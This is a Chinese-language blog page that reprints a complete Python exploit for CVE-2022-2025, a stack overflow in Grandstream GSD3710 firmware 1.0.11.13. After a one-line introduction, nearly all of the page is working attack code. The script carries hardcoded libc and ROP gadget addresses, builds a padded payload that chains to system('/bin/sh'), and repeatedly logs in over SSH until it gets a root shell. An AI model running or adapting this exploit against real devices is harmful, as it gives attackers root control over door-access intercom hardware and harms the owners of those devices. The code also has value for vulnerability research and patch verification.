Grandstream GSD3710栈溢出漏洞分析与利用

本文详细分析了Grandstream GSD3710设备1.0.11.13版本中的栈溢出漏洞(CVE-2022-2025),提供了完整的Python利用代码,通过ROP技术实现权限提升,最终获取设备root权限。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
#!/usr/bin/env python3

# 漏洞标题:Grandstream GSD3710 1.0.11.13 - 栈溢出
# 日期:2025-05-29
# 漏洞作者:Pepelux
# 厂商主页:https://www.grandstream.com/
# 版本:Grandstream GSD3710 - 固件版本1.0.11.13及以下
# 测试环境:Linux和MacOS
# CVE:CVE-2022-2025

"""
作者:Jose Luis Verdeguer (@pepeluxx)

要求:Pwntools

示例:

$ python3 CVE-2022-2025.py -i 设备IP -u 用户 -p 密码
"""

from struct import pack
import sys
from time import sleep
import argparse
from pwn import *

def get_args():
    parser = argparse.ArgumentParser(
        formatter_class=lambda prog: argparse.RawDescriptionHelpFormatter(
            prog, max_help_position=50))

    # 添加参数
    parser.add_argument('-i', '--ip', type=str, required=True,
                        help='设备IP地址', dest="ip")
    parser.add_argument('-u', '--user', type=str, required=True,
                        help='用户名', dest="user")
    parser.add_argument('-p', '--pass', type=str, required=True,
                        help='密码', dest="pwd")

    # 传递给脚本的所有参数数组
    args = parser.parse_args()

    try:
        ip = args.ip
        user = args.user
        pwd = args.pwd

        return ip, user, pwd
    except ValueError:
        exit()
        
def check_badchars(payload):
    for i in range(5, len(payload)):
        if payload[i] in [0xd, 0xa, 0x3b, 0x7c, 0x20]:
            log.warn("检测到坏字符 %s 在位置 %#x" % (hex(payload[i]), i))
            return True
    return False

def main():
    ip, user, pwd = get_args()

    libc_base = 0x76bb8000
    gadget = libc_base + 0x5952C  # 0x0005952c: pop {r0, r4, pc};
    bin_sh = libc_base + 0xCEA9C  # /bin/sh
    system = libc_base + 0x2C7FD  # 0x0002c7fd  # system@libc
    exit = libc_base + 0x2660C

    print("[*] Libc 基地址: %#x" % libc_base)
    print("[*] ROP gadget: %#x" % gadget)
    print("[*] /bin/sh: %#x" % bin_sh)
    print("[*] system: %#x" % system)
    print("[*] exit: %#x\n" % exit)

    padding = b"A" * 320

    payload = b'ping '
    payload += padding
    payload += p32(gadget)
    payload += p32(bin_sh)
    payload += b"AAAA"
    payload += p32(system)
    payload += p32(exit)

    if check_badchars(payload):
        sys.exit(0)

    count = 1

    while True:
        print('尝试: %d' % count)
        s = ssh(user, ip, 22, pwd)
        p = s.shell(tty=False)
        print(p.readuntil(b"GDS3710> "))
        p.sendline(payload)
        p.sendline(b"id")
        sleep(1)
        data = p.read()
        if str(data).find('root') > -1:
            print('已攻破!')
            p.interactive()
            s.close()
            sys.exit()
        s.close()
        count += 1

if __name__ == '__main__':
    main()
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计